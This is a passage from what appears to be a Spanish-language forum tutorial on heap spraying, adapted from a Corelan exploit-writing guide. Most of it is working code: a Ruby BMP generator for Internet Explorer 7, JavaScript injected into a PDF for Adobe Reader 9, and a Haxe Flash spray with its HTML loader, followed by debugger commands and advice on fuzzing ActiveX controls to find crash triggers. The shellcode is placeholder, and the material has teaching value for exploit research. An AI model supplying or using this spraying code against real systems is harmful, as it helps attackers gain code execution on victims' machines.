  45. for i in 1..bmp_files_togen do
  46. bmp = File.new(i.to_s+".bmp","wb")
  47. bmp.write(bmp_file)
  48. bmp.close
  49. end
  50.  


y creamos la imagen.




Creamos un .html con el código:

Código
  1. <img src='1.bmp'>
  2. </body>
  3. </html>
  4.  

Lo abrimos con ie7 en windows/xp sp3 y buscamos la cadena: s -b 0x00000000 L?0x7fffffff 00 00 00 00 0c 0c 0c 0c





Claro que para que un buen heap spraying harían falta añadir más imágenes, pero la idea era que se supiera.



HEAP SPRAYING EN ADOBE READER



Con los pdf también es posible aplicar esta técnica : ) y en este ámbito adobe reader es conocido por su poca preocupación en las vulnerabilidades de sus aplicaciones, para aplicarla solo hace falta añadir un código javascript al archivo, nos bajamos make-pdf tools escrito en python de Didier Steven de aquí http://blog.didierstevens.com/programs/pdf-tools/ y con el siguiente código que os muestro lo guardamos como adobe_spray.txt


Código
  1. shellcode = unescape('%u4141%u4141');
  2. nops = unescape('%u9090%u9090');
  3. headersize = 20;
  4.  
  5. // create one block with nops
  6. slackspace = headersize + shellcode.length;
  7. while(nops.length < slackspace) nops += nops;
  8. fillblock= nops.substring(0, slackspace);
  9.  
  10. // enlarge block with nops, size 0x50000
  11. block= nops.substring(0, nops.length - slackspace);
  12. while(block.length+slackspace < 0x50000) block= block+ block+ fillblock;
  13.  
  14. // spray 200 times : nops + shellcode
  15. memory=new Array();
  16. for( counter=0; counter<250; counter++) memory[counter]= block + shellcode;
  17.  


De seguido creamos el pdf con el código añadido, desde la misma carpeta donde se encuentren los archivos: python make-pdf-javascript.py -f adobe_spray.txt test.pdf  (doy por hecho que está python instalado) se creará test.pdf que lo abrimos con la versión 9.x }:-)





Dump a 0x0a0a0a0a (windows 7).





ADOBE FLASH ACTION SCRIPT




ActionScript es el lenguaje usado para adobe flash, también es posible utilizar la técnica en la aplicación y es más, todo programa que acepte un objeto flash puede ser víctima de heap spraying, ya sea de MS Office, etc.. no se os ponen los dientes largos? Jeje.


Vamos a bajarnos haxe para compilar el objeto flash de aquí http://haxe.org/download . Guardamos el siguiente código como MySpray.hx

Código
  1. class MySpray
  2. {
  3. static var Memory = new Array();
  4. static var chunk_size:UInt = 0x100000;
  5. static var chunk_num;
  6. static var nop:Int;
  7. static var tag;
  8. static var shellcode;
  9. static var t;
  10.  
  11. static function main()
  12. {
  13.  tag = flash.Lib.current.loaderInfo.parameters.tag;
  14.  nop = Std.parseInt(flash.Lib.current.loaderInfo.parameters.nop);
  15.  shellcode = flash.Lib.current.loaderInfo.parameters.shellcode;
  16.  chunk_num = Std.parseInt(flash.Lib.current.loaderInfo.parameters.N);
  17.  t = new haxe.Timer(7);
  18.  t.run = doSpray;
  19. }
  20.  
  21. static function doSpray()
  22. {
  23.  var chunk = new flash.utils.ByteArray();
  24.  chunk.writeMultiByte(tag, 'us-ascii');
  25.  while(chunk.length < chunk_size)
  26.   {
  27.      chunk.writeByte(nop);
  28.   }
  29.   chunk.writeMultiByte(shellcode,'utf-7');
  30.  
  31.   for(i in 0...chunk_num)
  32.   {
  33.     Memory.push(chunk);
  34.   }
  35.  
  36.   chunk_num--;
  37.   if(chunk_num == 0)
  38.   {
  39.     t.stop();
  40.   }
  41. }
  42. }
  43.  


Este script recibe 4 argumentos:

  • tag: la etiqueta para poner al frente del trineo nop (para que podamos   encontrar con mayor facilidad)
  • nop: el byte de usar como nop (valor decimal)
  • shellcode: la shellcode
  • N: el número de veces para pulverizar

Lo compilamos desde la carpeta de instalación:

C:\Program Files\Motion-Twin\haxe\haxe.exe -main MySpray -swf9 MySpray.swf


Invocamos el objeto desde un html (MySpray.html):


Código
  1.  
  2. <OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
  3. codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
  4. WIDTH="320" HEIGHT="240" id="MySpray" ALIGN="">
  5. <PARAM NAME=movie VALUE="MySpray.swf">
  6. <PARAM NAME=quality VALUE=high>
  7. <PARAM NAME=bgcolor VALUE=#333399>
  8. <PARAM NAME=FlashVars VALUE="N=600&nop=144&tag=CORELAN&shellcode=AAAABBBBCCCCDDDD">
  9. <EMBED src="MySpray.swf" quality=high bgcolor=#333399 WIDTH="320" HEIGHT="240" NAME="MySpray"
  10. FlashVars="N=600&nop=144&tag=CORELAN&shellcode=AAAABBBBCCCCDDDD"
  11. ALIGN="" TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer">
  12.  
  13. </body>
  14. </html>
  15.  

Observa que el carácter nop es 144 (0x90 en decimal). Cargamos el archivo con ie7 (windows/xp sp3).





En windbg: s -a 0x00000000 L?0x7fffffff “CORELAN”





Seguro que le sacáis provecho ;).


APENDICE


Esta técnica se aprovecha explotando alguna vulnerabilidad de las aplicaciones, ¿Cómo buscarlas? Bueno pues las aplicaciones hacen uso de sus propios procedimientos, en .ocx, .dll, etc.. Cuando instalas un programa en su carpeta puede venir una guía documentada con las funciones que utiliza, ahí puedes empezar a testearlo usándolas con mala intención en el script para ver si se cierra la aplicación repentinamente y ya tenemos un trigger, también puedes usar comRaider para ver las funciones.


DESPEDIDA

Aquí termina todo, hasta la próxima ;)

Tutorial basado de la página de corelanc0d3r:

https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/


soez



Descarga en pdf: https://mega.co.nz/#!44xymZwT!N_KbKmXlN0H1s9EG-HUJZ0JCsJwGoehcl6y4D4ovCN8
Páginas: 1 2 [3] 4 5 6 7 8
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines